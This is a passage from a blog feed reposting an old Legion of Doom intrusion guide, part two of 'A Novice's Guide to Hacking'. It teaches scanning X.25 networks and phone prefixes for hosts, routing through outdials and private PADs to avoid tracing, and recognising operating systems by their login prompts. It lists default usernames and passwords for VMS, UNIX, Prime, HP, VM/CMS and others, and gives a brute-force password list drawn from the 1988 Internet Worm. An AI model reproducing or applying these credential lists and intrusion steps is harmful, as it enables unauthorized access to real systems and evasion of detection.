way is to obtain a copy of the LOD/H Telenet Directory from the&lt;br /&gt;LOD/H Technical Journal #4 or 2600 Magazine.  Jester Sluggo also put out a good&lt;br /&gt;list of non-US addresses in Phrack Inc. Newsletter Issue 21.  These files will&lt;br /&gt;tell you the NUA, whether it will accept collect calls or not, what type of&lt;br /&gt;computer system it is (if known) and who it belongs to (also if known.)&lt;br /&gt;   The second method of locating interesting addresses is to scan for them&lt;br /&gt;manually.  On Telenet, you do not have to enter the 03110 DNIC to connect to a&lt;br /&gt;Telenet host.  So if you saw that 031104120006140 had a VAX on it you wanted to&lt;br /&gt;look at, you could type @c 412 614 (0's can be ignored most of the time.)&lt;br /&gt;   If this node allows collect billed connections, it will say 412 614&lt;br /&gt;CONNECTED and then you'll possibly get an identifying header or just a&lt;br /&gt;Username: prompt.  If it doesn't allow collect connections, it will give you a&lt;br /&gt;message such as 412 614 REFUSED COLLECT CONNECTION with some error codes out to&lt;br /&gt;the right, and return you to the @ prompt.&lt;br /&gt;   There are two primary ways to get around the REFUSED COLLECT message.  The&lt;br /&gt;first is to use a Network User Id (NUI) to connect.  An NUI is a username/pw&lt;br /&gt;combination that acts like a charge account on Telenet.  To collect to node&lt;br /&gt;412 614 with NUI junk4248, password 525332, I'd type the following:&lt;br /&gt;@c 412 614,junk4248,525332  &lt;---- the 525332 will *not* be echoed to the&lt;br /&gt;screen.  The problem with NUI's is that they're hard to come by unless you're&lt;br /&gt;a good social engineer with a thorough knowledge of Telenet (in which case&lt;br /&gt;you probably aren't reading this section), or you have someone who can&lt;br /&gt;provide you with them.&lt;br /&gt;   The second way to connect is to use a private PAD, either through an X.25&lt;br /&gt;PAD or through something like Netlink off of a Prime computer (more on these&lt;br /&gt;two below.)&lt;br /&gt;   The prefix in a Telenet NUA oftentimes (not always) refers to the phone Area&lt;br /&gt;Code that the computer is located in (i.e. 713 xxx would be a computer in&lt;br /&gt;Houston, Texas.)  If there's a particular area you're interested in, (say,&lt;br /&gt;New York City 914), you could begin by typing @c 914 001 &lt;cr&gt;.  If it connects,&lt;br /&gt;you make a note of it and go on to 914 002.  You do this until you've found&lt;br /&gt;some interesting systems to play with.&lt;br /&gt;   Not all systems are on a simple xxx yyy address.  Some go out to four or&lt;br /&gt;five digits (914 2354), and some have decimal or numeric extensions&lt;br /&gt;(422 121A = 422 121.01).  You have to play with them, and you never know what&lt;br /&gt;you're going to find.  To fully scan out a prefix would take ten million&lt;br /&gt;attempts per prefix.  For example, if I want to scan 512 completely, I'd have&lt;br /&gt;to start with 512 00000.00 and go through 512 00000.99, then increment the&lt;br /&gt;address by 1 and try 512 00001.00 through 512 00001.99.  A lot of scanning.&lt;br /&gt;There are plenty of neat computers to play with in a 3-digit scan, however,&lt;br /&gt;so don't go berserk with the extensions.&lt;br /&gt;   Sometimes you'll attempt to connect and it will just be sitting there after&lt;br /&gt;one or two minutes.  In this case, you want to abort the connect attempt by&lt;br /&gt;sending a hard break (this varies with different term programs, on Procomm,&lt;br /&gt;it's ALT-B), and then when you get the @ prompt back, type 'D' for disconnect.&lt;br /&gt;   If you connect to a computer and wish to disconnect, you can type &lt;cr&gt; @&lt;br /&gt;&lt;cr&gt; and you it should say TELENET and then give you the @ prompt.  From there,&lt;br /&gt;type D to disconnect or CONT to re-connect and continue your session&lt;br /&gt;uninterrupted.&lt;br /&gt;&lt;br /&gt;Outdials, Network Servers, and PADs&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;   In addition to computers, an NUA may connect you to several other things.&lt;br /&gt;One of the most useful is the outdial.  An outdial is nothing more than a modem&lt;br /&gt;you can get to over telenet- similar to the PC Pursuit concept, except that&lt;br /&gt;these don't have passwords on them most of the time.&lt;br /&gt;   When you connect, you will get a message like 'Hayes 1200 baud outdial,&lt;br /&gt;Detroit, MI', or 'VEN-TEL 212 Modem', or possibly 'Session 1234 established&lt;br /&gt;on Modem 5588'.  The best way to figure out the commands on these is to&lt;br /&gt;type ? or H or HELP- this will get you all the information that you need to&lt;br /&gt;use one.&lt;br /&gt;   Safety tip here- when you are hacking *any* system through a phone dialup,&lt;br /&gt;always use an outdial or a diverter, especially if it is a local phone number&lt;br /&gt;to you.  More people get popped hacking on local computers than you can&lt;br /&gt;imagine, Intra-LATA calls are the easiest things in the world to trace inexp-&lt;br /&gt;ensively.&lt;br /&gt;   Another nice trick you can do with an outdial is use the redial or macro&lt;br /&gt;function that many of them have.  First thing you do when you connect is to&lt;br /&gt;invoke the 'Redial Last Number' facility.  This will dial the last number used,&lt;br /&gt;which will be the one the person using it before you typed.  Write down the&lt;br /&gt;number, as no one would be calling a number without a computer on it.  This&lt;br /&gt;is a good way to find new systems to hack.  Also, on a VENTEL modem, type 'D'&lt;br /&gt;for Display and it will display the five numbers stored as macros in the&lt;br /&gt;modem's memory.&lt;br /&gt;   There are also different types of servers for remote Local Area Networks&lt;br /&gt;(LAN) that have many machine all over the office or the nation connected to&lt;br /&gt;them.  I'll discuss identifying these later in the computer ID section.&lt;br /&gt;   And finally, you may connect to something that says 'X.25 Communication&lt;br /&gt;PAD' and then some more stuff, followed by a new @ prompt.  This is a PAD&lt;br /&gt;just like the one you are on, except that all attempted connections are billed&lt;br /&gt;to the PAD, allowing you to connect to those nodes who earlier refused collect&lt;br /&gt;connections.&lt;br /&gt;   This also has the added bonus of confusing where you are connecting from.&lt;br /&gt;When a packet is transmitted from PAD to PAD, it contains a header that has&lt;br /&gt;the location you're calling from.  For instance, when you first connected&lt;br /&gt;to Telenet, it might have said 212 44A CONNECTED if you called from the 212&lt;br /&gt;area code.  This means you were calling PAD number 44A in the 212 area.&lt;br /&gt;That 21244A will be sent out in the header of all packets leaving the PAD.&lt;br /&gt;   Once you connect to a private PAD, however, all the packets going out&lt;br /&gt;from *it* will have it's address on them, not yours.  This can be a valuable&lt;br /&gt;buffer between yourself and detection.&lt;br /&gt;&lt;br /&gt;Phone Scanning&lt;br /&gt;~~~~~~~~~~~~~~&lt;br /&gt;   Finally, there's the time-honored method of computer hunting that was made&lt;br /&gt;famous among the non-hacker crowd by that Oh-So-Technically-Accurate movie&lt;br /&gt;Wargames.  You pick a three digit phone prefix in your area and dial every&lt;br /&gt;number from 0000 --&gt; 9999 in that prefix, making a note of all the carriers&lt;br /&gt;you find.  There is software available to do this for nearly every computer&lt;br /&gt;in the world, so you don't have to do it by hand.&lt;br /&gt;&lt;br /&gt;Part Three: I've Found a Computer, Now What?&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;   This next section is applicable universally.  It doesn't matter how you&lt;br /&gt;found this computer, it could be through a network, or it could be from&lt;br /&gt;carrier scanning your High School's phone prefix, you've got this prompt&lt;br /&gt;this prompt, what the hell is it?&lt;br /&gt;   I'm *NOT* going to attempt to tell you what to do once you're inside of&lt;br /&gt;any of these operating systems.  Each one is worth several G-files in its&lt;br /&gt;own right.  I'm going to tell you how to identify and recognize certain&lt;br /&gt;OpSystems, how to approach hacking into them, and how to deal with something&lt;br /&gt;that you've never seen before and have know idea what it is.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VMS-       The VAX computer is made by Digital Equipment Corporation (DEC),&lt;br /&gt;           and runs the VMS (Virtual Memory System) operating system.&lt;br /&gt;           VMS is characterized by the 'Username:' prompt.  It will not tell&lt;br /&gt;           you if you've entered a valid username or not, and will disconnect&lt;br /&gt;           you after three bad login attempts.  It also keeps track of all&lt;br /&gt;           failed login attempts and informs the owner of the account next time&lt;br /&gt;           s/he logs in how many bad login attempts were made on the account.&lt;br /&gt;           It is one of the most secure operating systems around from the&lt;br /&gt;           outside, but once you're in there are many things that you can do&lt;br /&gt;           to circumvent system security.  The VAX also has the best set of&lt;br /&gt;           help files in the world.  Just type HELP and read to your heart's&lt;br /&gt;           content.&lt;br /&gt;           Common Accounts/Defaults:  [username: password [[,password]] ]&lt;br /&gt;           SYSTEM:     OPERATOR or MANAGER or SYSTEM or SYSLIB&lt;br /&gt;           OPERATOR:   OPERATOR&lt;br /&gt;           SYSTEST:    UETP&lt;br /&gt;           SYSMAINT:   SYSMAINT or SERVICE or DIGITAL&lt;br /&gt;           FIELD:      FIELD or SERVICE&lt;br /&gt;           GUEST:      GUEST or unpassworded&lt;br /&gt;           DEMO:       DEMO  or unpassworded&lt;br /&gt;           DECNET:     DECNET&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DEC-10-    An earlier line of DEC computer equipment, running the TOPS-10&lt;br /&gt;           operating system.  These machines are recognized by their&lt;br /&gt;           '.' prompt.  The DEC-10/20 series are remarkably hacker-friendly,&lt;br /&gt;           allowing you to enter several important commands without ever&lt;br /&gt;           logging into the system.  Accounts are in the format [xxx,yyy] where&lt;br /&gt;           xxx and yyy are integers.  You can get a listing of the accounts and&lt;br /&gt;           the process names of everyone on the system before logging in with&lt;br /&gt;           the command .systat (for SYstem STATus).  If you seen an account&lt;br /&gt;           that reads [234,1001]   BOB JONES, it might be wise to try BOB or&lt;br /&gt;           JONES or both for a password on this account.  To login, you type&lt;br /&gt;           .login xxx,yyy  and then type the password when prompted for it.&lt;br /&gt;           The system will allow you unlimited tries at an account, and does&lt;br /&gt;           not keep records of bad login attempts.  It will also inform you&lt;br /&gt;           if the UIC you're trying (UIC = User Identification Code, 1,2 for&lt;br /&gt;           example) is bad.&lt;br /&gt;           Common Accounts/Defaults:&lt;br /&gt;           1,2:        SYSLIB or OPERATOR or MANAGER&lt;br /&gt;           2,7:        MAINTAIN&lt;br /&gt;           5,30:       GAMES&lt;br /&gt;&lt;br /&gt;UNIX-      There are dozens of different machines out there that run UNIX.&lt;br /&gt;           While some might argue it isn't the best operating system in the&lt;br /&gt;           world, it is certainly the most widely used.  A UNIX system will&lt;br /&gt;           usually have a prompt like 'login:' in lower case.  UNIX also&lt;br /&gt;           will give you unlimited shots at logging in (in most cases), and&lt;br /&gt;           there is usually no log kept of bad attempts.&lt;br /&gt;           Common Accounts/Defaults: (note that some systems are case&lt;br /&gt;           sensitive, so use lower case as a general rule.  Also, many times&lt;br /&gt;           the accounts will be unpassworded, you'll just drop right in!)&lt;br /&gt;           root:       root&lt;br /&gt;           admin:      admin&lt;br /&gt;           sysadmin:   sysadmin or admin&lt;br /&gt;           unix:       unix&lt;br /&gt;           uucp:       uucp&lt;br /&gt;           rje:        rje&lt;br /&gt;           guest:      guest&lt;br /&gt;           demo:       demo&lt;br /&gt;           daemon:     daemon&lt;br /&gt;           sysbin:     sysbin&lt;br /&gt;&lt;br /&gt;Prime-     Prime computer company's mainframe running the Primos operating&lt;br /&gt;           system.  The are easy to spot, as the greet you with&lt;br /&gt;           'Primecon 18.23.05' or the like, depending on the version of the&lt;br /&gt;           operating system you run into.  There will usually be no prompt&lt;br /&gt;           offered, it will just look like it's sitting there.  At this point,&lt;br /&gt;           type 'login &lt;username&gt;'.  If it is a pre-18.00.00 version of Primos,&lt;br /&gt;           you can hit a bunch of ^C's for the password and you'll drop in.&lt;br /&gt;           Unfortunately, most people are running versions 19+.  Primos also&lt;br /&gt;           comes with a good set of help files.  One of the most useful&lt;br /&gt;           features of a Prime on Telenet is a facility called NETLINK.  Once&lt;br /&gt;           you're inside, type NETLINK and follow the help files.  This allows&lt;br /&gt;           you to connect to NUA's all over the world using the 'nc' command.&lt;br /&gt;           For example, to connect to NUA 026245890040004, you would type&lt;br /&gt;           @nc :26245890040004 at the netlink prompt.&lt;br /&gt;           Common Accounts/Defaults:&lt;br /&gt;           PRIME       PRIME or PRIMOS&lt;br /&gt;           PRIMOS_CS   PRIME or PRIMOS&lt;br /&gt;           PRIMENET    PRIMENET&lt;br /&gt;           SYSTEM      SYSTEM or PRIME&lt;br /&gt;           NETLINK     NETLINK&lt;br /&gt;           TEST        TEST&lt;br /&gt;           GUEST       GUEST&lt;br /&gt;           GUEST1      GUEST&lt;br /&gt;&lt;br /&gt;HP-x000-   This system is made by Hewlett-Packard.  It is characterized by the&lt;br /&gt;           ':' prompt.  The HP has one of the more complicated login sequences&lt;br /&gt;           around- you type 'HELLO SESSION NAME,USERNAME,ACCOUNTNAME,GROUP'.&lt;br /&gt;           Fortunately, some of these fields can be left blank in many cases.&lt;br /&gt;           Since any and all of these fields can be passworded, this is not&lt;br /&gt;           the easiest system to get into, except for the fact that there are&lt;br /&gt;           usually some unpassworded accounts around.  In general, if the&lt;br /&gt;           defaults don't work, you'll have to brute force it using the&lt;br /&gt;           common password list (see below.)  The HP-x000 runs the MPE operat-&lt;br /&gt;           ing system, the prompt for it will be a ':', just like the logon&lt;br /&gt;           prompt.&lt;br /&gt;           Common Accounts/Defaults:&lt;br /&gt;           MGR.TELESUP,PUB                      User: MGR Acct: HPONLY Grp: PUB&lt;br /&gt;           MGR.HPOFFICE,PUB                     unpassworded&lt;br /&gt;           MANAGER.ITF3000,PUB                  unpassworded&lt;br /&gt;           FIELD.SUPPORT,PUB                    user: FLD,  others unpassworded&lt;br /&gt;           MAIL.TELESUP,PUB                     user: MAIL, others&lt;br /&gt;                                                unpassworded&lt;br /&gt;           MGR.RJE                              unpassworded&lt;br /&gt;           FIELD.HPPl89 ,HPPl87,HPPl89,HPPl96   unpassworded&lt;br /&gt;           MGR.TELESUP,PUB,HPONLY,HP3           unpassworded&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;IRIS-      IRIS stands for Interactive Real Time Information System.  It orig-&lt;br /&gt;           inally ran on PDP-11's, but now runs on many other minis.  You can&lt;br /&gt;           spot an IRIS by the 'Welcome to "IRIS" R9.1.4 Timesharing' banner,&lt;br /&gt;           and the ACCOUNT ID? prompt.  IRIS allows unlimited tries at hacking&lt;br /&gt;           in, and keeps no logs of bad attempts.  I don't know any default&lt;br /&gt;           passwords, so just try the common ones from the password database&lt;br /&gt;           below.&lt;br /&gt;           Common Accounts:&lt;br /&gt;           MANAGER&lt;br /&gt;           BOSS&lt;br /&gt;           SOFTWARE&lt;br /&gt;           DEMO&lt;br /&gt;           PDP8&lt;br /&gt;           PDP11&lt;br /&gt;           ACCOUNTING&lt;br /&gt;&lt;br /&gt;VM/CMS-    The VM/CMS operating system runs in International Business Machines&lt;br /&gt;           (IBM) mainframes.  When you connect to one of these, you will get&lt;br /&gt;           message similar to 'VM/370 ONLINE', and then give you a '.' prompt,&lt;br /&gt;           just like TOPS-10 does.  To login, you type 'LOGON &lt;username&gt;'.&lt;br /&gt;           Common Accounts/Defaults are:&lt;br /&gt;           AUTOLOG1:            AUTOLOG or AUTOLOG1&lt;br /&gt;           CMS:                 CMS&lt;br /&gt;           CMSBATCH:            CMS or CMSBATCH&lt;br /&gt;           EREP:                EREP&lt;br /&gt;           MAINT:               MAINT or MAINTAIN&lt;br /&gt;           OPERATNS:            OPERATNS or OPERATOR&lt;br /&gt;           OPERATOR:            OPERATOR&lt;br /&gt;           RSCS:                RSCS&lt;br /&gt;           SMART:               SMART&lt;br /&gt;           SNA:                 SNA&lt;br /&gt;           VMTEST:              VMTEST&lt;br /&gt;           VMUTIL:              VMUTIL&lt;br /&gt;           VTAM:                VTAM&lt;br /&gt;&lt;br /&gt;NOS-       NOS stands for Networking Operating System, and runs on the Cyber&lt;br /&gt;           computer made by Control Data Corporation.  NOS identifies itself&lt;br /&gt;           quite readily, with a banner of 'WELCOME TO THE NOS SOFTWARE&lt;br /&gt;           SYSTEM.  COPYRIGHT CONTROL DATA 1978,1987'.  The first prompt you&lt;br /&gt;           will get will be FAMILY:.  Just hit return here.  Then you'll get&lt;br /&gt;           a USER NAME: prompt.  Usernames are typically 7 alpha-numerics&lt;br /&gt;           characters long, and are *extremely* site dependent. Operator&lt;br /&gt;           accounts begin with a digit, such as 7ETPDOC.&lt;br /&gt;           Common Accounts/Defaults:&lt;br /&gt;           $SYSTEM              unknown&lt;br /&gt;           SYSTEMV              unknown&lt;br /&gt;&lt;br /&gt;Decserver- This is not truly a computer system, but is a network server that&lt;br /&gt;           has many different machines available from it.  A Decserver will&lt;br /&gt;           say 'Enter Username&gt;' when you first connect.  This can be anything,&lt;br /&gt;           it doesn't matter, it's just an identifier.  Type 'c', as this is&lt;br /&gt;           the least conspicuous thing to enter.  It will then present you&lt;br /&gt;           with a 'Local&gt;' prompt.  From here, you type 'c &lt;systemname&gt;' to&lt;br /&gt;           connect to a system.  To get a list of system names, type&lt;br /&gt;           'sh services' or 'sh nodes'.  If you have any problems, online&lt;br /&gt;           help is available with the 'help' command.  Be sure and look for&lt;br /&gt;           services named 'MODEM' or 'DIAL' or something similar, these are&lt;br /&gt;           often outdial modems and can be useful!&lt;br /&gt;&lt;br /&gt;GS/1-      Another type of network server.  Unlike a Decserver, you can't&lt;br /&gt;           predict what prompt a GS/1 gateway is going to give you.  The&lt;br /&gt;           default prompt it 'GS/1&gt;', but this is redifinable by the&lt;br /&gt;           system administrator.  To test for a GS/1, do a 'sh d'.  If that&lt;br /&gt;           prints out a large list of defaults (terminal speed, prompt,&lt;br /&gt;           parity, etc...), you are on a GS/1.  You connect in the same manner&lt;br /&gt;           as a Decserver, typing 'c &lt;systemname&gt;'.  To find out what systems&lt;br /&gt;           are available, do a 'sh n' or a 'sh c'.  Another trick is to do a&lt;br /&gt;           'sh m', which will sometimes show you a list of macros for logging&lt;br /&gt;           onto a system.  If there is a macro named VAX, for instance, type&lt;br /&gt;           'do VAX'.&lt;br /&gt;&lt;br /&gt;           The above are the main system types in use today.  There are&lt;br /&gt;           hundreds of minor variants on the above, but this should be&lt;br /&gt;           enough to get you started.&lt;br /&gt;         &lt;br /&gt;Unresponsive Systems&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;   Occasionally you will connect to a system that will do nothing but sit&lt;br /&gt;there.  This is a frustrating feeling, but a methodical approach to the system&lt;br /&gt;will yield a response if you take your time.  The following list will usually&lt;br /&gt;make *something* happen.&lt;br /&gt;1)  Change your parity, data length, and stop bits.  A system that won't re-&lt;br /&gt;    spond at 8N1 may react at 7E1 or 8E2 or 7S2.  If you don't have a term&lt;br /&gt;    program that will let you set parity to EVEN, ODD, SPACE, MARK, and NONE,&lt;br /&gt;    with data length of 7 or 8, and 1 or 2 stop bits, go out and buy one.&lt;br /&gt;    While having a good term program isn't absolutely necessary, it sure is&lt;br /&gt;    helpful.&lt;br /&gt;2)  Change baud rates.  Again, if your term program will let you choose odd&lt;br /&gt;    baud rates such as 600 or 1100, you will occasionally be able to penetrate&lt;br /&gt;    some very interesting systems, as most systems that depend on a strange&lt;br /&gt;    baud rate seem to think that this is all the security they need...&lt;br /&gt;3)  Send a series of &lt;cr&gt;'s.&lt;br /&gt;4)  Send a hard break followed by a &lt;cr&gt;.&lt;br /&gt;5)  Type a series of .'s (periods).  The Canadian network Datapac responds&lt;br /&gt;    to this.&lt;br /&gt;6)  If you're getting garbage, hit an 'i'.  Tymnet responds to this, as does&lt;br /&gt;    a MultiLink II.&lt;br /&gt;7)  Begin sending control characters, starting with ^A --&gt; ^Z.&lt;br /&gt;8)  Change terminal emulations.  What your vt100 emulation thinks is garbage&lt;br /&gt;    may all of a sudden become crystal clear using ADM-5 emulation.  This also&lt;br /&gt;    relates to how good your term program is.&lt;br /&gt;9)  Type LOGIN, HELLO, LOG, ATTACH, CONNECT, START, RUN, BEGIN, LOGON, GO,&lt;br /&gt;    JOIN, HELP, and anything else you can think of.&lt;br /&gt;10) If it's a dialin, call the numbers around it and see if a company&lt;br /&gt;    answers.  If they do, try some social engineering.&lt;br /&gt;&lt;br /&gt;Brute Force Hacking&lt;br /&gt;~~~~~~~~~~~~~~~~~~~&lt;br /&gt;   There will also be many occasions when the default passwords will not work&lt;br /&gt;on an account.  At this point, you can either go onto the next system on your&lt;br /&gt;list, or you can try to 'brute-force' your way in by trying a large database&lt;br /&gt;of passwords on that one account.  Be careful, though!  This works fine on&lt;br /&gt;systems that don't keep track of invalid logins, but on a system like a VMS,&lt;br /&gt;someone is going to have a heart attack if they come back and see '600 Bad&lt;br /&gt;Login Attempts Since Last Session' on their account.  There are also some&lt;br /&gt;operating systems that disconnect after 'x' number of invalid login attempts&lt;br /&gt;and refuse to allow any more attempts for one hour, or ten minutes, or some-&lt;br /&gt;times until the next day.&lt;br /&gt;   The following list is taken from my own password database plus the data-&lt;br /&gt;base of passwords that was used in the Internet UNIX Worm that was running&lt;br /&gt;around in November of 1988.  For a shorter group, try first names, computer&lt;br /&gt;terms, and obvious things like 'secret', 'password', 'open', and the name&lt;br /&gt;of the account.  Also try the name of the company that owns the computer&lt;br /&gt;system (if known), the company initials, and things relating to the products&lt;br /&gt;the company makes or deals with.&lt;br /&gt;&lt;br /&gt;                              Password List&lt;br /&gt;                              =============&lt;br /&gt;&lt;br /&gt;      aaa                daniel             jester             rascal&lt;br /&gt;      academia           danny              johnny             really&lt;br /&gt;      ada                dave               joseph             rebecca&lt;br /&gt;      adrian             deb                joshua             remote&lt;br /&gt;      aerobics           debbie             judith             rick&lt;br /&gt;      airplane           deborah            juggle             reagan&lt;br /&gt;      albany             december           julia              robot&lt;br /&gt;      albatross          desperate          kathleen           robotics&lt;br /&gt;      albert             develop            kermit             rolex&lt;br /&gt;      alex               diet               kernel             ronald&lt;br /&gt;      alexander          digital            knight             rosebud&lt;br /&gt;      algebra            discovery          lambda             rosemary&lt;br /&gt;      alias              disney             larry              roses&lt;br /&gt;      alpha              dog                lazarus            ruben&lt;br /&gt;      alphabet           drought            lee                rules&lt;br /&gt;      ama                duncan             leroy              ruth&lt;br /&gt;      amy                easy               lewis              sal&lt;br /&gt;      analog             eatme              light              saxon&lt;br /&gt;      anchor             edges              lisa               scheme&lt;br /&gt;      andy               edwin              louis              scott&lt;br /&gt;      andrea             egghead            lynne              scotty&lt;br /&gt;      animal             eileen             mac                secret&lt;br /&gt;      answer             einstein           macintosh          sensor&lt;br /&gt;      anything           elephant           mack               serenity&lt;br /&gt;      arrow              elizabeth          maggot             sex&lt;br /&gt;      arthur             ellen              magic              shark&lt;br /&gt;      asshole            emerald            malcolm            sharon&lt;br /&gt;      athena             engine             mark               shit&lt;br /&gt;      atmosphere         engineer           markus             shiva&lt;br /&gt;      bacchus            enterprise         marty              shuttle&lt;br /&gt;      badass             enzyme             marvin             simon&lt;br /&gt;      bailey             euclid             master             simple&lt;br /&gt;      banana             evelyn             maurice            singer&lt;br /&gt;      bandit             extension          merlin             single&lt;br /&gt;      banks              fairway            mets               smile&lt;br /&gt;      bass               felicia            michael            smiles&lt;br /&gt;      batman             fender             michelle           smooch&lt;br /&gt;      beauty             fermat             mike               smother&lt;br /&gt;      beaver             finite             minimum            snatch&lt;br /&gt;      beethoven          flower             minsky             snoopy&lt;br /&gt;      beloved            foolproof          mogul              soap&lt;br /&gt;      benz               football           moose              socrates&lt;br /&gt;      beowulf            format             mozart             spit&lt;br /&gt;      berkeley           forsythe           nancy              spring&lt;br /&gt;      berlin             fourier            napoleon           subway&lt;br /&gt;      beta               fred               network            success&lt;br /&gt;      beverly            friend             newton             summer&lt;br /&gt;      bob                frighten           next               super&lt;br /&gt;      brenda             fun                olivia             support&lt;br /&gt;      brian              gabriel            oracle             surfer&lt;br /&gt;      bridget            garfield           orca               suzanne&lt;br /&gt;      broadway           gauss              orwell             tangerine&lt;br /&gt;      bumbling           george             osiris             tape&lt;br /&gt;      cardinal           gertrude           outlaw             target&lt;br /&gt;      carmen             gibson             oxford             taylor&lt;br /&gt;      carolina           ginger             pacific            telephone&lt;br /&gt;      caroline           gnu                painless           temptation&lt;br /&gt;      castle             golf               pam                tiger&lt;br /&gt;      cat                golfer             paper              toggle&lt;br /&gt;      celtics            gorgeous           password           tomato&lt;br /&gt;      change             graham             pat                toyota&lt;br /&gt;      charles            gryphon            patricia           trivial&lt;br /&gt;      charming           guest              penguin            unhappy&lt;br /&gt;      charon             guitar             pete               unicorn&lt;br /&gt;      chester            hacker             peter              unknown&lt;br /&gt;      cigar              harmony            philip             urchin&lt;br /&gt;      classic            harold             phoenix            utility&lt;br /&gt;      coffee             harvey             pierre             vicky&lt;br /&gt;      coke               heinlein           pizza              virginia&lt;br /&gt;      collins            hello              plover             warren&lt;br /&gt;      comrade            help               polynomial         water&lt;br /&gt;      computer           herbert            praise             weenie&lt;br /&gt;      condo              honey              prelude            whatnot&lt;br /&gt;      condom             horse              prince             whitney&lt;br /&gt;      cookie             imperial           protect            will&lt;br /&gt;      cooper             include            pumpkin            william&lt;br /&gt;      create             ingres             puppet             willie&lt;br /&gt;      creation           innocuous          rabbit             winston&lt;br /&gt;      creator            irishman           rachmaninoff       wizard&lt;br /&gt;      cretin             isis               rainbow            wombat&lt;br /&gt;      daemon             japan              raindrop           yosemite&lt;br /&gt;      dancer             jessica            random             zap&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Part Four: Wrapping it up!&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;   I hope this file has been of some help in getting started.  If you're&lt;br /&gt;asking yourself the question 'Why hack?', then you've probably wasted a lot&lt;br /&gt;of time reading this, as you'll never understand.  For those of you who&lt;br /&gt;have read this and found it useful, please send a tax-deductible donation&lt;br /&gt;of $5.00 (or more!) in the name of the Legion of Doom to:&lt;br /&gt;                                       The American Cancer Society&lt;br /&gt;                                       90 Park Avenue&lt;br /&gt;                                       New York, NY  10016&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;******************************************************************************&lt;br /&gt;References:&lt;br /&gt;1) Introduction to ItaPAC by Blade Runner&lt;br /&gt;   Telecom Security Bulletin #1&lt;br /&gt;2) The IBM VM/CMS Operating System by Lex Luthor&lt;br /&gt;   The LOD/H Technical Journal #2&lt;br /&gt;3) Hacking the IRIS Operating System by The Leftist&lt;br /&gt;   The LOD/H Technical Journal #3&lt;br /&gt;4) Hacking CDC's Cyber by Phrozen Ghost&lt;br /&gt;   Phrack Inc. Newsletter #18&lt;br /&gt;5) USENET comp.risks digest (various authors, various issues)&lt;br /&gt;6) USENET unix.wizards forum (various authors)&lt;br /&gt;7) USENET info-vax forum (various authors)&lt;br /&gt;&lt;br /&gt;Recommended Reading:&lt;br /&gt;1) Hackers by Steven Levy&lt;br /&gt;2) Out of the Inner Circle by Bill Landreth&lt;br /&gt;3) Turing's Man by J. David Bolter&lt;br /&gt;4) Soul of a New Machine by Tracy Kidder&lt;br /&gt;5) Neuromancer, Count Zero, Mona Lisa Overdrive, and Burning Chrome, all&lt;br /&gt;   by William Gibson&lt;br /&gt;6) Reality Hackers Magazine c/o High Frontiers, P.O. Box 40271, Berkeley,&lt;br /&gt;   California, 94704, 415-995-2606&lt;br /&gt;7) Any of the Phrack Inc. Newsletters &amp; LOD/H Technical Journals you can find.&lt;br /&gt;&lt;br /&gt;Acknowledgements:&lt;br /&gt;   Thanks to my wife for putting up with me.&lt;br /&gt;   Thanks to Lone Wolf for the RSTS &amp; TOPS assistance.&lt;br /&gt;   Thanks to Android Pope for proofreading, suggestions, and beer.&lt;br /&gt;   Thanks to The Urvile/Necron 99 for proofreading &amp; Cyber info.&lt;br /&gt;   Thanks to Eric Bloodaxe for wading through all the trash.&lt;br /&gt;   Thanks to the users of Phoenix Project for their contributions.&lt;br /&gt;   Thanks to Altos Computer Systems, Munich, for the chat system.&lt;br /&gt;   Thanks to the various security personel who were willing to talk to&lt;br /&gt;             me about how they operate.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-3118544363063310511?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/vW8dkE4gkea8Zq5thLRhz8Qy9JA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vW8dkE4gkea8Zq5thLRhz8Qy9JA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/vW8dkE4gkea8Zq5thLRhz8Qy9JA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vW8dkE4gkea8Zq5thLRhz8Qy9JA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/TRq3MQ2fgvg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/3118544363063310511/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/2.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/3118544363063310511?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/3118544363063310511?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/TRq3MQ2fgvg/2.html" title="नोविस गाइड तो हच्किंग पार्ट 2" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/2.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUIGRHY6eip7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-552700174811382382</id><published>2009-11-03T02:18:00.001-08:00</published><updated>2009-11-03T02:18:45.812-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:18:45.812-08:00</app:edited><title>अ नोविस गाइड तो HACKING</title><content type="html">This file is an addendum to "A Novice's Guide To 